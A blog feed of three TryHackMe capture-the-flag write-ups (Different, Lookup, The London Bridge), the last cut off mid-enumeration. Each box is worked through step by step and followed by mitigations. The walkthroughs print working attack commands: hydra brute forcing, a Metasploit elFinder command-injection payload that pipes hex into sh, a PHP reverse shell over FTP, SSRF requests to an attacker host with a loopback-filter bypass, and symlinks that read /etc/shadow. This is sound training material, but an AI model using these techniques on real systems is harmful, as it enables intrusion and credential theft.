DEV Community: Yogeshwar Peela

TryHackMe : Different CTF writeup

Yogeshwar Peela — Sat, 15 Aug 2026 05:41:21 +0000

Summary

Different CTF is an easy-rated Linux box built around a WordPress install with an
exposed wp-config.php, an FTP service reachable with credentials hidden inside a
steganographic image, and a custom SUID binary that gates root access behind another
layer of encoding. The path to root involves chaining FTP creds -> phpMyAdmin ->
database recon -> subdomain discovery -> a webshell over FTP upload -> an offline
password crack against su -> and finally decoding a custom SUID binary's hint
through CyberChef to recover the root password.

Target: <MACHINE_IP> (adana.thm)

1. Reconnaissance

Started with a full port scan:

nmap -A -p- <MACHINE_IP> -o nmap

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-generator: WordPress 5.6
|_http-title: "Hello World &#8211; Just another WordPress site"

FTP and a WordPress 5.6 site on Apache 2.4.29. Added the hostname to /etc/hosts
right away since the site referenced adana.thm in redirects later on:

echo '<MACHINE_IP> adana.thm' >> /etc/hosts

1.1 Directory brute force

Ran dirsearch first, then gobuster against the vhost once it resolved:

dirsearch -u http://<MACHINE_IP>

[..snip..]
200 -    0B  - /wp-config.php
200 -  504B  - /wp-admin/install.php
301 -  319B  - /phpmyadmin  ->  http://<MACHINE_IP>/phpmyadmin/
[..snip..]

Two things stood out immediately:

/wp-config.php returning 200 - 0B (PHP is executing it, so no leak over HTTP by itself, but worth remembering)
/wp-admin/install.php returning 200 - 504B instead of a redirect, which usually means WordPress isn't fully "installed" from its own point of view

gobuster against the vhost turned up an extra directory that dirsearch had missed:

gobuster dir -u http://adana.thm/ -w /usr/share/wordlists/dirb/big.txt

announcements        (Status: 301) [Size: 314] [--> http://adana.thm/announcements/]
javascript           (Status: 301) [Size: 311] [--> http://adana.thm/javascript/]
phpmyadmin           (Status: 301) [Size: 311] [--> http://adana.thm/phpmyadmin/]
wp-admin              (Status: 301) [Size: 309]
wp-content             (Status: 301) [Size: 311]
wp-includes            (Status: 312)

/announcements was the interesting one, nothing WordPress-related about the name.

2. Steganography rabbit hole

Browsing /announcements/ gave a directory listing:

curl http://adana.thm/announcements/

<a href="austrailian-bulldog-ant.jpg">austrailian-bulldog-ant.jpg</a>   58K
<a href="wordlist.txt">wordlist.txt</a>                                394K

An image sitting right next to a wordlist is about as strong a hint as CTFs get, so
this was steghide territory. Pulled both files down:

curl http://adana.thm/announcements/austrailian-bulldog-ant.jpg --output ant.jpg
curl http://adana.thm/announcements/wordlist.txt --output wordlist.txt

exiftool on the image came back clean, nothing embedded in metadata, so moved
straight to cracking the steg password with the provided wordlist:

stegcracker ant.jpg wordlist.txt

Successfully cracked file with password: 123adanaantinwar
Tried 49316 passwords
Your file has been written to: ant.jpg.out

The extracted file was base64:

cat ant.jpg.out

RlRQLUxPR0lOClVTRVI6IGhha2FuZnRwClBBU1M6IDEyM2FkYW5hY3JhY2s=

cat ant.jpg.out | base64 -d

FTP-LOGIN
USER: hakanftp
PASS: 123adanacrack

FTP credentials, straight out of a picture of an ant. Noted the recurring
123adana... prefix pattern in these passwords, it comes back later.

3. FTP access and WordPress config leak

ftp adana.thm 21

Logged in as hakanftp and found the web root sitting there, fully accessible:

ftp> ls -la

-rw-------    1 1001     1001           88 Jan 13  2021 .bash_history
-rw-r--r--    1 1001     1001          554 Jan 10  2021 .htaccess
drwxr-xr-x    2 0        0            4096 Jan 14  2021 announcements
-rw-r--r--    1 0        0            3194 Jan 11  2021 wp-config.php
[..snip..]

.bash_history was tiny but readable:

ftp> get .bash_history

id
su root
ls
cd ..
[..snip..]

Not much actionable there beyond confirming su root is a thing people do on this
box. The real prize was wp-config.php:

ftp> get wp-config.php

define( 'DB_NAME', 'phpmyadmin1' );
define( 'DB_USER', 'phpmyadmin' );
define( 'DB_PASSWORD', '12345' );
define( 'DB_HOST', 'localhost' );

Database creds in plaintext, and phpMyAdmin was already sitting exposed at
/phpmyadmin/.

4. phpMyAdmin -> subdomain discovery

Logged into phpMyAdmin with phpmyadmin:12345.

![phpMyAdmin login]

Landed on the server overview, confirming MySQL 5.7.32 / Apache 2.4.29 / PHP 7.2.24.

Browsed to the phpmyadmin1 database, wp_options table, and the siteurl /
home rows both pointed somewhere unexpected:

siteurl  ->  http://subdomain.adana.thm
home     ->  http://subdomain.adana.thm

Not adana.thm itself, a subdomain. This explained why an earlier attempt to drop a
webshell at http://adana.thm/revshell.php came back 404 Not Found, wrong vhost
entirely. Added the subdomain to /etc/hosts and moved on.

5. Webshell via FTP upload -> initial foothold

With write access over FTP as hakanftp, uploaded a PHP reverse shell directly into
the web root:

ftp> put revshell.php
ftp> chmod 777 revshell.php

Started a listener and hit the shell on the correct vhost this time:

penelope -p 4444 listen

[+] [New Reverse Shell] => ubuntu <ATTACKER_VISIBLE_IP> Linux-x86_64 www-data(33)

www-data@ubuntu:/$ whoami
www-data
www-data@ubuntu:/$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Confirmed there are two web roots on this box, /var/www/html (the main site) and
/var/www/subdomain (where the shell landed):

www-data@ubuntu:/$ ls /var/www
html  subdomain

The web flag was sitting in the main site's root:

www-data@ubuntu:/$ cat /var/www/html/wwe3bbfla4g.txt
THM{REDACTED}

/etc/passwd showed the two accounts of interest:

root:x:0:0:root:/root:/bin/bash
hakanbey:x:1000:1000:hakanbey:/home/hakanbey:/bin/bash
hakanftp:x:1001:1001:,,,:/var/www/subdomain:/bin/bash

/home/hakanbey was permission-denied as www-data, so privesc from here needed
another angle.

6. Bruteforcing su for hakanbey

find / -perm -4000 didn't turn up anything useful yet (the interesting SUID binary
shows up later, in /usr/bin, readable only after becoming hakanbey). sudo -l
wasn't available to www-data at all. With hakanbey's password unknown, and the
strong 123adana... pattern seen twice already, the plan was to bruteforce su
locally using sucrack, seeded with a wordlist built from that pattern:

sed 's/^/123adana/' wordlist.txt > new_wordlist.txt

6.1 First attempt: precompiled binary, wrong glibc

Grabbed a precompiled sucrack from a local python http.server and tried to run it
on the target:

www-data@ubuntu:/tmp$ ./sucrack -u hakanbey -t 8 -w new_wordlist.txt

./sucrack: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.33' not found (required by ./sucrack)

The target's glibc (2.27, an 18.04 box) was too old for the binary I'd grabbed from
my Kali box. Dead end, needed to compile from source against the target's own
toolchain instead.

6.2 Building sucrack from source on the target

wget http://<ATTACKER_IP>/sucrack_1.2.3.orig.tar.gz
tar xf sucrack_1.2.3.orig.tar.gz
cd sucrack-1.2.3
./configure
make

The stock make failed at the link stage:

sucrack-worker.o: In function `worker_spawn':
worker.c:113: undefined reference to `pthread_create'
collect2: error: ld returned 1 exit status

Missing -lpthread on the final link command for some reason (autotools quirk on
this older toolchain). Linked it manually instead:

cd src
gcc -g -O2 -o sucrack sucrack-sucrack.o sucrack-worker.o sucrack-dictionary.o \
  sucrack-pty.o sucrack-su.o sucrack-rewriter.o sucrack-util.o sucrack-stat.o \
  sucrack-rules.o -lpthread
chmod +x sucrack

That produced a working binary built natively against the target's glibc.

6.3 Cracking the password

./sucrack -w 100 -u hakanbey ../../new_wordlist.txt

password is: 123adanasubaru

su hakanbey

(remote) hakanbey@ubuntu:/var/www$ whoami
hakanbey
(remote) hakanbey@ubuntu:/var/www$ id
uid=1000(hakanbey) gid=1000(hakanbey) groups=1000(hakanbey),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd)

Grabbed the user flag:

cat /home/hakanbey/user.txt

THM{REDACTED}

7. Root: the custom SUID binary

sudo -l for hakanbey came back empty. Enumerated SUID binaries again, this time
with hakanbey's broader read access, and one stood out among the usual system
binaries:

find / -perm -4000 2>/dev/null

/usr/bin/binary

ls -la /usr/bin/binary

-r-srwx--- 1 root hakanbey 12984 Jan 14  2021 /usr/bin/binary

Owned by root, SUID, and group-executable by hakanbey specifically. Pulled apart
its strings before running it:

strings /usr/bin/binary | head -50

I think you should enter the correct string here ==>
/root/hint.txt
Hint! : %s
/root/root.jpg
Unable to open source!
/home/hakanbey/root.jpg
Copy /root/root.jpg ==> /home/hakanbey/root.jpg

Looked like a gated file-copy: enter the right passphrase, and it copies
/root/root.jpg into hakanbey's home directory, printing a hint along the way.
Rather than guess, tried ltrace against it to watch how the comparison string gets
built at runtime, and threw in a ;id as the input just to see how it handled
unexpected input along the way:

ltrace /usr/bin/binary

strcat("war", "zone")                                                = "warzone"
strcat("warzone", "in")                                              = "warzonein"
strcat("warzonein", "ada")                                           = "warzoneinada"
strcat("warzoneinada", "na")                                         = "warzoneinadana"
printf("I think you should enter the cor"...)                        = 52
__isoc99_scanf(0x5618ba926edd, 0x7fffd21eb9e0, 0, 0I think you should enter the correct string here ==>;id
)                 = 1
strcmp(";id", "warzoneinadana")                                      = -60
strcat("pki", "l")                                                   = "pkil"
strcat("pkil", "l")                                                  = "pkill"
strcat("pkill", " -9")                                               = "pkill -9"
strcat("pkill -9", " -t")                                            = "pkill -9 -t"
strcat("pkill -9 -t", " pts")                                        = "pkill -9 -t pts"
strcat("pkill -9 -t pts", "/0")                                      = "pkill -9 -t pts/0"
system("pkill -9 -t pts/0"pkill: killing pid 2868 failed: Operation not permitted
pkill: killing pid 7487 failed: Operation not permitted
[00:21:52] warning: <ATTACKER_IP>:57526: connection reset

Two useful things fall out of this trace. First, the binary builds the expected
passphrase piecemeal via a chain of strcat calls, "war" + "zone" + "in" + "ada" + "na" = "warzoneinadana", then strcmps it against whatever was typed in. No need
to guess the pattern by hand, ltrace just hands you the literal comparison value.
Second, entering ;id as a wrong guess triggers a punitive system("pkill -9 -t pts/0") that kills the current pty (a crude anti-tampering measure, and also a hint
that the input isn't sanitized before hitting something command-related, though it
didn't pan out as an injection point here since the killed session interrupted
things before that could be explored further).

With the real passphrase in hand from the trace, ran the binary properly:

/usr/bin/binary

I think you should enter the correct string here ==>warzoneinadana
Hint! : Hexeditor 00000020 ==> ???? ==> /home/hakanbey/Desktop/root.jpg (CyberChef)
Copy /root/root.jpg ==> /home/hakanbey/root.jpg

Correct passphrase (warzoneinadana), and a hint pointing straight at hex-editing
the copied JPEG and running it through CyberChef.

7.1 Pulling the hidden bytes

Followed the hint and dumped 16 bytes starting at offset 0x20 in the copied
root.jpg:

xxd -s 0x00000020 -l 16 -p root.jpg

fee99d3d79185ffc826ddf1c69acc275

7.2 Decoding in CyberChef

Fed that hex string into CyberChef with a two-step recipe: From Hex (Auto
delimiter) into To Base85 with a custom alphabet (!-u).

Output:

root:Go0odJo0BbBro0o

A user:password pair for root, hidden behind hex offsets and a non-standard Base85
alphabet, a nice final twist for an "easy" box.

7.3 Root

su root

root@ubuntu:~# cat root.txt

THM{REDACTED}

Root achieved.

Key Vulnerabilities

#	Vulnerability	Impact
1	JPEG on an unauthenticated directory listing conceals steghide-protected FTP credentials, cracked with a provided wordlist	Initial FTP access as `hakanftp`
2	`wp-config.php` readable in plaintext over FTP (world-readable file permissions)	Database credentials disclosure
3	phpMyAdmin exposed with weak/default credentials (`phpmyadmin:12345`)	Full database read/write, discovery of hidden subdomain vhost
4	FTP account has write access to the live web root of a second vhost	Arbitrary PHP webshell upload -> RCE as `www-data`
5	Weak, guessable `su` password for `hakanbey`, following a predictable pattern seen elsewhere on the box	Local privilege escalation via offline/local `su` bruteforce
6	Custom root-owned SUID binary gated by a weak hardcoded passphrase, leaking a further encoded root credential	Privilege escalation to root

Attack Chain

 [Nmap: FTP 21 + WordPress 80]
              |
              v
 [/announcements: ant.jpg + wordlist.txt]
              |  stegcracker + wordlist
              v
 [steg payload -> base64 -> FTP creds: hakanftp]
              |
              v
 [FTP login] --> [.bash_history hint] --> [wp-config.php: DB creds]
              |
              v
 [phpMyAdmin login: phpmyadmin/12345]
              |
              v
 [wp_options: siteurl -> subdomain.adana.thm]
              |
              v
 [FTP upload revshell.php to subdomain webroot]
              |
              v
 [RCE as www-data] --> [web flag]
              |
              v
 [sucrack (built from source) bruteforces su for hakanbey]
              |
              v
 [su hakanbey] --> [user flag]
              |
              v
 [/usr/bin/binary SUID: passphrase "warzoneinadana"]
              |
              v
 [hex dump root.jpg @0x20 -> CyberChef From Hex -> To Base85 (custom alphabet)]
              |
              v
 [root credentials] --> [su root] --> [root flag]

Mitigations

Do not store credentials, even "hidden" ones, inside images served from a world-readable directory. Steganography is not a substitute for access control.
Restrict FTP account permissions to the minimum required; hakanftp should not have had read access to wp-config.php or write access to a live web root.
Set restrictive file permissions on wp-config.php (640 or tighter, owned by the web server user only) so credentials aren't recoverable via any file-read path.
Remove or properly secure phpMyAdmin in production; if it must be exposed, enforce strong, unique credentials and restrict access by IP.
Don't reuse predictable password patterns across services; a leaked password fragment on one account should not make other accounts guessable.
Enforce strong, randomly generated passwords for all local accounts subject to su, and consider rate-limiting or disabling su bruteforce vectors (e.g. pam_tally2/faillock).
Avoid custom SUID binaries that gate access with hardcoded or weak secrets; any embedded "hint" mechanism defeats the purpose of the control. Prefer proper sudo rules with least privilege instead of bespoke SUID tooling.

TryHackMe : Lookup writeup

Yogeshwar Peela — Wed, 12 Aug 2026 09:29:46 +0000

Summary

Lookup is an easy Linux box built around a login portal that redirects authenticated users to a vhost-hosted elFinder file manager. Username enumeration on the login form combined with password brute forcing yields valid credentials, which unlock a vulnerable elFinder 2.1.47 instance. A Metasploit module exploiting an exiftran command injection in the PHP connector gives a www-data shell. A custom SSH password wordlist built around the compromised user's naming pattern cracks the think account, and a SUID look binary misconfiguration in sudoers grants root file read access.

1. Reconnaissance

nmap -A -Pn <MACHINE_IP> -o nmap

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://lookup.thm

Port 80 redirects to a vhost, so it gets added to /etc/hosts.

echo '<MACHINE_IP> lookup.thm' >> /etc/hosts

2. Web Enumeration

Root of lookup.thm serves a simple login form posting to login.php.

curl http://lookup.thm/

<form action="login.php" method="post">
  <input type="text" id="username" name="username" required>
  <input type="password" id="password" name="password" required>
</form>

2.1 Username enumeration

The application returns different error strings depending on whether the username exists:

curl http://lookup.thm/login.php -d 'username=admin&password=admin'
Wrong password. Please try again.

curl http://lookup.thm/login.php -d 'username=test&password=admin'
Wrong username or password. Please try again.

This is a textbook user-enumeration oracle - "Wrong password" confirms the username exists, "Wrong username or password" means it doesn't.

2.2 Username brute force

hydra -L /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -p wrongpass lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:S=Wrong password" -t 64

[80][http-post-form] host: lookup.thm   login: admin   password: wrongpass
[80][http-post-form] host: lookup.thm   login: jose    password: wrongpass

Valid usernames: admin, jose.

2.3 Password brute force

hydra -l jose -P /usr/share/wordlists/rockyou.txt lookup.thm http-post-form "/login.php:username=^USER^&password=^PASS^:Wrong password"

[80][http-post-form] host: lookup.thm   login: jose   password: password123

2.4 Authenticated redirect

curl -v -L http://lookup.thm/login.php -d 'username=jose&password=password123'

< Set-Cookie: login_status=success; ...
< Location: http://files.lookup.thm

Add the new vhost and confirm with ffuf that it's the only relevant subdomain:

echo '<MACHINE_IP> lookup.thm files.lookup.thm' >> /etc/hosts

ffuf -u http://lookup.thm/ -H "HOST: FUZZ.lookup.thm" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -ac

www   [Status: 200, Size: 719, Words: 114, Lines: 27, Duration: 2432ms]

3. elFinder Discovery

Using the login_status cookie to access the new vhost reveals an elFinder web file manager:

curl -c cookies.txt http://lookup.thm/login.php -d 'username=jose&password=password123'
curl -L -b cookies.txt http://files.lookup.thm/

<title>elFinder</title>
<script>
  define('elFinderConfig', {
    defaultOpts : {
      url : 'php/connector.minimal.php'

Browsing directly and opening the "About" dialog (question mark icon) in the UI confirms the exact version:

elFinder 2.1.47, protocol version 2.1047

The root listing browsable through the file manager also exposes a set of interesting text files (credentials.txt, adm.txt, admin.txt, administrator.txt, ansible.txt, azureuser.txt, ec2-user.txt, ftp.txt, puppet.txt, root.txt), consistent with a username/credential-harvesting wordlist staged on the box.

4. Exploitation - elFinder Exiftran Command Injection

elFinder 2.1.47's PHP connector is vulnerable to command injection via the exiftran image-rotation command, exploited through Metasploit.

msfconsole
search elfinder 2.1.47
use exploit/unix/webapp/elfinder_php_connector_exiftran_cmd_injection
set RHOSTS files.lookup.thm
set RPORT 80
set LHOST tun0
run

[*] Uploading payload 'IYlgUsiQat.jpg;echo <hex-encoded-payload> |xxd -r -p |sh& #.jpg' (1948 bytes)
[*] Triggering vulnerability via image rotation ...
[*] Executing payload (/elFinder/php/.LjjKJ9S.php) ...
[*] Sending stage (45739 bytes) to <MACHINE_IP>
[+] Deleted .LjjKJ9S.php
[*] Meterpreter session 1 opened (<ATTACKER_IP>:4444 -> <MACHINE_IP>:34990)

meterpreter > getuid
Server username: www-data
meterpreter > shell

Note: the first attempt with LHOST bound to the wrong interface silently failed ("Exploit completed, but no session was created"); re-setting LHOST to the tun0 VPN adapter fixed callback delivery.

5. Post-Exploitation Enumeration

www-data@ip-<MACHINE_IP>:/var/www$ ls /home
ssm-user  think  ubuntu

ls -la /home/think/

-rw-r----- 1 root  think  525 Jul 30  2023 .passwords
-rw-r----- 1 root  think   33 Jul 30  2023 user.txt

.passwords is owned root:think and not world-readable, so www-data can't read it directly.

A SUID binary is found during a broader search:

find / -perm -4000 2>/dev/null

/usr/sbin/pwm

/usr/sbin/pwm -h
[!] Running 'id' command to extract the username and user ID (UID)
[!] ID: www-data
[-] File /home/www-data/.passwords not found

pwm is a custom password-mutation helper that reads the invoking user's ~/.passwords file and generates candidate password permutations from it. As www-data there is no .passwords file to seed it, but the behavior confirms think's .passwords file is the source of a personalized password scheme (name + separator + relative/nickname).

6. SSH Access as think

A wordlist was hand-crafted around the naming convention observed (jose combined with names/dates using . and & separators):

cat > pass.txt << 'EOF'
jose&takie
jose&samantha
jose&pam
josemario.AKA(think)
jose.medina.
...
EOF

hydra -l think -P pass.txt ssh://lookup.thm

[22][ssh] host: lookup.thm   login: think   password: josemario.AKA(think)

www-data@ip-<MACHINE_IP>:/var/www$ su think
Password:
think@ip-<MACHINE_IP>:/var/www$ id
uid=1000(think) gid=1000(think) groups=1000(think)

User flag

think@ip-<MACHINE_IP>:~$ cat user.txt
<REDACTED>

7. Privilege Escalation - sudo look

think@ip-<MACHINE_IP>:~$ sudo -l

User think may run the following commands on ip-<MACHINE_IP>:
    (ALL) /usr/bin/look

look normally searches /usr/share/dict/words for lines starting with a given string, taking the dictionary file as an optional second argument. Direct attempts fail because the default dictionary doesn't exist:

sudo /usr/bin/look /root/root.txt
look: /usr/share/dict/words: No such file or directory

Passing an empty search string with the target file as the "dictionary" argument makes look dump the entire file instead of searching it (documented GTFOBins technique for look):

think@ip-<MACHINE_IP>:~$ sudo look '' /root/root.txt

Root flag

<REDACTED>

This grants arbitrary root-owned file read, which is sufficient here to retrieve the flag (not a full root shell).

8. Key Vulnerabilities

#	Vulnerability	Location	Impact
1	Username enumeration via differing login error messages	`login.php`	Reveals valid usernames, enables targeted credential brute force
2	Weak password policy	`jose` account	`password123` cracked from rockyou.txt
3	elFinder 2.1.47 exiftran command injection	`files.lookup.thm` PHP connector	Unauthenticated RCE as `www-data`
4	Predictable personal password scheme	`think`'s `.passwords` / SSH	SSH access via crafted wordlist
5	Sudoers misconfiguration - `look` with no argument restriction	`/etc/sudoers`	Arbitrary root-owned file read via GTFOBins technique

9. Attack Chain

Login page (lookup.thm)
    |
    |-- error-message oracle -> username enumeration (hydra) -> "jose"
    |-- rockyou.txt brute force -> jose:password123
    v
Authenticated redirect -> files.lookup.thm (elFinder 2.1.47)
    |
    |-- Metasploit: elfinder_php_connector_exiftran_cmd_injection
    v
Meterpreter / shell as www-data
    |
    |-- find /home/think/.passwords (unreadable) + pwm SUID hints at naming scheme
    |-- custom wordlist -> hydra ssh -> think:josemario.AKA(think)
    v
Shell as think -> user.txt
    |
    |-- sudo -l -> (ALL) /usr/bin/look
    |-- sudo look '' /root/root.txt  (GTFOBins file-read primitive)
    v
root.txt read

10. Mitigations

Return an identical, generic error message ("Invalid username or password") regardless of whether the username exists, to eliminate the enumeration oracle.
Enforce password complexity/length and rate-limit or lock out repeated failed login attempts (both on the web login form and SSH).
Upgrade elFinder past 2.1.47 / patch the exiftran connector, or remove exiftran-dependent image editing features entirely; keep third-party file-manager components under active patch management.
Do not derive user passwords from predictable personal-detail patterns; a password manager or company-issued high-entropy credential removes this class of guessable password entirely.
Restrict sudoers entries to fully-qualified commands with fixed arguments (e.g. via a wrapper script), or avoid granting sudo on generic text-processing utilities like look, more, less, awk, etc., all of which have known GTFOBins abuse primitives.

TryHackMe : The London Bridge writeup

Yogeshwar Peela — Tue, 11 Aug 2026 04:11:48 +0000

Summary

The London Bridge is built around a Flask "Explore London" gallery app served behind Gunicorn. A hidden /view_image endpoint takes a form-encoded URL and fetches it server-side - classic SSRF - but the visible image_url parameter isn't the one actually wired up in the code; fuzzing form field names is needed to discover the real parameter is www. The app blocks localhost/127.0.0.1/0.0.0.0 by string-matching the URL, which is trivially bypassed using the alternate loopback representation http://0/. That SSRF is then pointed at a root-owned Python http.server bound to 127.0.0.1:80 running from the target's own home directory, which - because it runs as root - happily serves files regardless of normal Unix permissions. Reading .ssh/id_rsa through the SSRF gives a private key, and its authorized_keys comment identifies the right user (beth) to use it with, for direct SSH access. From there, symlink tricks (ln -s /root root_dir_link, ln -s /etc/shadow shadow_link, ln -s /home/charles charles_dir) combined with the same root-run HTTP server + SSRF let us read /etc/shadow, a root-only flag file, and another user's entire Firefox profile - all without ever needing an actual root shell. The Firefox profile is decrypted locally (after working around a binary-corruption issue caused by proxying binary files through Flask's requests.get().text) to recover a saved browser credential.

Attack Chain

nmap -> SSH (22) + Gunicorn "Explore London" app (8080)
   |
/gallery -> image upload form, .php upload blocked by PIL-based image validation
   |
Hidden /view_image endpoint -> visible "image_url" field does nothing; ffuf discovers real param is "www"
   |
Confirmed SSRF: www=http://<ATTACKER_IP>/evil.php -> server fetches attacker URL
   |
is_local() filter blocks literal "localhost"/"127.0.0.1"/"0.0.0.0" strings
   |
Bypass with alternate loopback notation: www=http://0/...
   |
SSRF reaches a root-run "python3 -m http.server 80 --bind 127.0.0.1" serving beth's home dir
   |
Read .ssh/id_rsa + .ssh/authorized_keys (comment: beth@london) via SSRF -> SSH as beth
   |
app.py source confirms the "www" param + is_local() filter -> user.txt flag
   |
ss/ps aux confirms root owns the internal port-80 http.server
   |
Symlink tricks (root_dir_link -> /root, shadow_link -> /etc/shadow, charles_dir -> /home/charles)
   |
SSRF + root-run http.server reads ANY file on disk regardless of Unix perms
   |
Root flag + full /etc/shadow dump + charles' entire Firefox profile, all without a root shell
   |
Firefox profile decrypted locally -> Charles' saved browser credential

Recon

nmap -A -Pn <MACHINE_IP> -o nmap

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
|   256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_  256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
8080/tcp open  http    Gunicorn
|_http-title: Explore London
|_http-server-header: gunicorn

curl http://<MACHINE_IP>:8080/

<title>Explore London</title>
...
<h1>Welcome to Explore London</h1>
<nav>
  <a href="/">Home</a>
  <a href="#">Attractions</a>
  <a href="#">Events</a>
  <a href="/gallery">Gallery</a>
  <a href="/contact">Contact</a>
</nav>

whatweb http://<MACHINE_IP>:8080/

http://<MACHINE_IP>:8080/ [200 OK] HTML5, HTTPServer[gunicorn], Title[Explore London]

The gallery page has an upload form:

curl http://<MACHINE_IP>:8080/gallery

<h1>London Gallery</h1>
<div class="container">
    <img class="image" src="/uploads/www.usnews.jpeg" alt="www.usnews.jpeg">
    <img class="image" src="/uploads/04.jpg" alt="04.jpg">
    <img class="image" src="/uploads/Untitled.png" alt="Untitled.png">
    <img class="image" src="/uploads/images.jpeg" alt="images.jpeg">
    <img class="image" src="/uploads/e3.jpg" alt="e3.jpg">
    <img class="image" src="/uploads/caption.jpg" alt="caption.jpg">
    <img class="image" src="/uploads/Thames.jpg" alt="Thames.jpg">
</div>
<h5>Visited London recently? Contribute to the gallery</h5>
<form method="POST" action="/upload" enctype="multipart/form-data">
    <input type="file" name="file">
    <input type="submit" value="Upload">
</form>
<!--To devs: Make sure that people can also add images using links-->

That HTML comment - "Make sure that people can also add images using links" - is a strong hint that a URL-based image feature exists somewhere, even if it's not linked from this page.

Directory brute-force confirmed the visible routes and turned up two 405-responding endpoints (GET not allowed, meaning they expect POST):

feroxbuster -u http://<MACHINE_IP>:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt

200      GET       54l      125w     1722c http://<MACHINE_IP>:8080/gallery
200      GET       59l      127w     1703c http://<MACHINE_IP>:8080/contact
200      GET       82l      256w     2682c http://<MACHINE_IP>:8080/
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/feedback
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/upload
200      GET      ...       http://<MACHINE_IP>:8080/uploads/images.jpeg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/e3.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/caption.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/04.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/www.usnews.jpeg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/Thames.jpg
200      GET      ...       http://<MACHINE_IP>:8080/uploads/Untitled.png
405      GET        4l       23w      178c http://<MACHINE_IP>:8080/view_image
200      GET       32l       67w      823c http://<MACHINE_IP>:8080/dejaview

/view_image and /upload both need POST. Tried uploading a plain PHP web shell first:

i tried uploading a php but no use

Confirmed why by reading app.py later - uploads are validated with Pillow (Image.open(...).verify()), so anything that isn't a real image gets deleted server-side immediately after upload.

Vulnerability Discovery: SSRF via /view_image (wrong parameter first)

/view_image renders a form with a field named image_url:

<form action="/view_image" method="post">
    <label for="image_url">Enter Image URL:</label><br>
    <input type="text" id="image_url" name="image_url" required><br><br>
    <input type="submit" value="View Image">
</form>

Submitting a URL through the browser form and watching the Network tab (screenshot) showed the POST body actually being sent was image_url: "/uploads/Thames.jpg" - and the response just echoed the field back into the page without fetching anything server-side. The visible field alone doesn't drive any SSRF behavior on its own.

Testing directly with curl against the visible field name also went nowhere useful:

curl http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -F 'www=http://<ATTACKER_IP>/evil.php'

<h1>View Image</h1>
<form action="/view_image" method="post">
    <label for="image_url">Enter Image URL:</label><br>
    ...
</form>

No fetch happened yet - -F sends multipart form data, not application/x-www-form-urlencoded despite the header, so the field was never actually parsed as expected by the server. Fuzzed the parameter name itself against the endpoint to find what it actually expects:

ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=http://<ATTACKER_IP>/evil' -mc all -fs 823

www                     [Status: 200, Size: 335, Words: 84, Lines: 14, Duration: 149ms]

The real parameter is www, not image_url. Confirmed with a listener:

python3 -m http.server 80

Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://<ATTACKER_IP>/evil.php'

10.48.156.179 - - [10/Aug/2026 23:09:57] code 404, message File not found
10.48.156.179 - - [10/Aug/2026 23:09:57] "GET /evil HTTP/1.1" 404 -

Confirmed: the server-side app fetches whatever URL is placed in www and returns the response body. Full-blown SSRF.

Bypassing the localhost Filter

Direct attempts at internal addresses were blocked:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1/'

(no useful output - blocked/empty)

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1:5000/'

<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.</p>

Tried the numeric all-zero loopback notation instead of the literal string 127.0.0.1:

curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/'

<HTML>
<body bgcolor="gray">
<h1>London brigde</h1>
<img height=400px width=600px src ="static/1.webp"><br>
<font type="monotype corsiva" size=18>London Bridge is falling down<br>
    Falling down, falling down<br>
    London Bridge is falling down<br>
    My fair lady<br>
    ...
</font>
</body>
</HTML>

http://0/ resolves to 0.0.0.0 (loopback) but doesn't contain the literal blocked substrings, so the filter is bypassed and we're now hitting an internal-only web service the app couldn't otherwise reach from outside. This confirmed via the app's own source later (app.py):

def is_local(url):
    if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
        return True
    return False

A pure substring blacklist - 0 (bare) never appears in that list.

Enumerating the Internal Service via SSRF

Fuzzed for files/directories reachable through the SSRF against this internal server:

ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'www=http://0/FUZZ' -fs 823,469

